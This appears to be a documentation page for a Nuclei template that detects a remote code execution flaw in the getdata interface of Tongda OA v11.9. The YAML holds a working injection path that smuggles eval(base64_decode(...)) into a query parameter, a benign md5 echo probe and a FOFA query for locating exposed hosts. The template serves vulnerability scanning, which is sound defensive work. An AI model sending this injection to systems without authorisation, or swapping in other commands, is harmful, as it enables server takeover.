Tongda OA v11.9 getadata - Remote Code Execution
ID: tongda-getdata-rce
Severity: critical
Author: SleepingBag945
Tags: tongda,rce
Description
Section titled “Description”There is an arbitrary command execution vulnerability in the getdata interface of Tongda OA v11.9. An attacker can execute arbitrary commands on the server to control server permissions through the vulnerability.
YAML Source
Section titled “YAML Source”id: tongda-getdata-rce
info: name: Tongda OA v11.9 getadata - Remote Code Execution author: SleepingBag945 severity: critical description: | There is an arbitrary command execution vulnerability in the getdata interface of Tongda OA v11.9. An attacker can execute arbitrary commands on the server to control server permissions through the vulnerability. reference: - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.9%20getdata%20%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md classification: cpe: cpe:2.3:a:tongda2000:office_anywhere:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 fofa-query: app="TDXK-通达OA" product: office_anywhere vendor: tongda2000 tags: tongda,rce
variables: num: '999999999' payload: "echo md5({{num}});"
http: - method: GET path: - "{{BaseURL}}/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval(base64_decode(%22{{base64(payload)}}%22)))%3B/*&id=19&module=Carouselimage"
matchers-condition: and matchers: - type: word words: - '{{md5(num)}}' - 'pagelimit' condition: and
- type: status status: - 200# digest: 4a0a00473045022100d5a6fd518087f2141f9104dba116eab6d2d1c76cb8f77f9ac264dd80c62def54022049eec324f1fbea8e29c95bdc05894ea112e09905389721da68af40bc004d1874:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/tongda/tongda-getdata-rce.yaml"